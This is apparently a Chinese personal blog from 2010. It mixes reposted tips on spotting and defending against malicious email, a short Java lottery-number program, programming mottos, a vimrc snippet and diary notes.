如果你不想攻击者获取到你的IP地址、浏览器、操作系统等信息,你应该阻止邮件中图片显示。这是为什么?显示图片则意味着你访问了该图片的服务器,而该服务器则记录了你的访问数据。如果你已经安装了IIS、Apache,那么你可以打开http://localhost,再去查看它们的日志信息,看看到底有没有记录你的访问信息。

而如果你没有装上IIS、Apache无法测试的话,你可以打开间谍猪:http://www.spypig.com/ 向自己的邮箱发送测试邮件。如果你使用的Gmail,那非常好,Gmail默认是阻止图片显示的。
2、跟踪发件人的来源
如果你用的Foxmail客户端,那很简单:邮件――邮件信息――原始信息,即可看到发件人的IP地址。如果你使用的Gmail,你可以在邮件的右侧点击三角形的下拉框,选择Show Original查看邮件头,要是看的头晕,可直接找"Received"那一行,将其后的IP地址放到www.myip.cn进行查询,以确认发件人来自哪里。
3、质询
陌生人可能发送热点事件的邮件,诸如玉树地震死亡名单,维权人士名单,他试图激起你的好奇心以及人道主义、爱心等。你不应该马上查看,而是澄清你的疑问,这份名单的出处来自哪里?你为什么拥有这份名单?你发送给我的理由是什么?要是对方无法消除你的疑问以及无回复,我建议你将这封邮件的附件下载,交提交到VirusTotal上报病毒。
4、搜索
搜索对方的邮箱地址,看看在互联网是否有迹可寻。如果你使用Gmail,可在邮件中点击"Show details"看看此封邮件是否为群发邮件,如果是,直接回复所有人询问:这封邮件带有病毒吗?
5、检查过滤器
现在登陆你的Gmail,进入设置项,选择"Filters"标签,检查是否存可疑的邮箱地址,如果有,请迅速删除,否则,你的邮件全被偷了。
五、反思
从陆战、水战、空战、网战、太空战,全球各国都在试图提升各个空间作战实力,显然,在网战这块,中国是大小通吃,吃完之后还坚决反对没吃。以Google事件为例,华尔街日报昨天的报道《谷歌攻击者获得用户识别软件代码》,提及攻击者使用了谷歌工程师的工作站作为跳板,尽管我不能核实其真实性,但在《挑战五毛党》这篇分析文也提及Google中国区被安插内鬼。接下来,北京政府将如何应对Google后续事件呢?吃?抑或没吃呢?

转载自可能吧
原文地址:

2010年4月21日

财迷2

import java.io.*;
import java.util.*;

public class CaiMi {
   public static void main(String[] args) throws IOException {
      BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
      System.out.println("请输入选号上限:");
      int max = Integer.parseInt(br.readLine());
      Random r = new Random();
      System.out.println("请输入选号个数:");
      int n = Integer.parseInt(br.readLine());
      while(n > max) {
         System.out.println("错误,选号个数不能比上限大。请重新输入选号个数:");
         n = Integer.parseInt(br.readLine());
      }
      HashSet hs = new HashSet();
      for(int i = 1; i <= n; i++) {
         int t = r.nextInt(max) + 1;
         if(hs.add(t) == true)
            System.out.print(t + ", ");
         else
            i--;
      }
   }
}

Motto is not MOTO

Ulcer Addicts Really Like C A lot
Unary                      + - ++ - [[rest...]]
Arithmetic(and shift)      * / % + - << >>
Relational                 > < >= <= == !=
Logical(and bitwise)       && || & | ^
Conditional(ternary)       A > B?X:Y
Assignment                 =(and compound assignment like *=)
     _think in java

2010年4月20日

财迷!

import java.io.*;
import java.util.*;

public class CaiMi {

public static void main(String[] args) throws IOException {
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
System.out.println("请输入选号上限:");
int max = Integer.parseInt(br.readLine());
Random r = new Random();
System.out.println("\n请输入选号个数:");
int n = Integer.parseInt(br.readLine());
for(int i = 1; i <= n; i++)
System.out.print(r.nextInt(max) + 1 + ", ");
}
}

2010年4月18日

Motto is not MOTO

兔子总是一副想说话却又说不出来的样子。
      ——Raj

Mottois not MOTO

长记性啊,改相应功能一定要在相应的环境下测试,不然一转身就忘了 自己当时是怎么想的了


程序设计就是对复杂度的管理。
        —Think in Java

2010年4月17日

Motto is not MOTO

在别人的故事里有所领悟,这就是电影的魔力吧

所有故事都结束于唇齿之间

任何领域的卓越成就都只能通过一生的努力来获得;稍低一点的代价也换不来

if u work for a living, why do you kill yourself for working?

得救之道,就在其中
      —the Bible

补充

少说一句:"let g:c_os="windows"",和set不一样―let的等号两边可以有空格,用set设置选项时就不可以有任何空格

Vampires use vi with an emacs plugin.

每天少记一点,点到为止。这回书说vimrc中基本上只用一次的小段代码。happy hacking!
"
if has("win32") || has("win64")
let g:c_os="windows"
elseif has("unix")
let g:c_os="unix"
elseif has("mac")
let g:c_os="mac"
else
let g:c_os=""
endif
"
试了一下vimrc的变量和函数要在调用之前定义,尽量放前面吧
has()的参数可以用:help feature-list查看,什么dos16、macunix啊,vim具体是否支持要用:version查看编译方式
下回再说怎么用,现在这9行只会产生一个全局变量g:c_os,和其它脚本语言一样,也是弱类型的。

2010年4月15日

Re: The New Hope rtm

天天都是24小时。最近震的多出来几秒
人生百年,才3万6K多天。能有点时间学点感兴趣的、将来没准什么时候就用上的东西真好。
好久没有什么,似乎一直没有什么能让我彻夜不眠去研究的东西。
天真的仰望星空,春困秋乏,夏天蚊子咬,冬天裹棉袄。实在是视力不行,视野不行。没看过几个外星人,遂放弃。案上《大众天文学》之上,`qiongqingjie立,书签在第3页。
大学迷上电影,骗自己"在别人的故事里有所领悟"。领悟是有了,没现实现实。
小时喜欢翻箱倒柜,跟盗墓似的,喜欢搞收藏,毛爷爷像章有一把。现在藏书2箱多,没地儿晾。神兵利器什么的自从玩过仙剑三后早就不玩了。上网还和小时候一样,看见好网站把它9几年的文章恨不得翻出来一观。幸好互联网大,总能挖到点什么,碰着墙角搬梯子呗,我的莺莺啊!
最近生理心理家里邻里都不太对,又到了大家也总经历的,希望自己有一个新的开始的时候了。唯一对自己的要求就是要坚持住,不要三天的热情,每天10点早起看2遍肖申克。别睡太晚了,既然就时差能和米国接轨,那还是不差这点了。从今天起每天写点什么,记录一下这天学什么了,免得自己怎么老的都不知道。此为测试文,下标为0.
没加引用啊?缩进有问题?不缩了!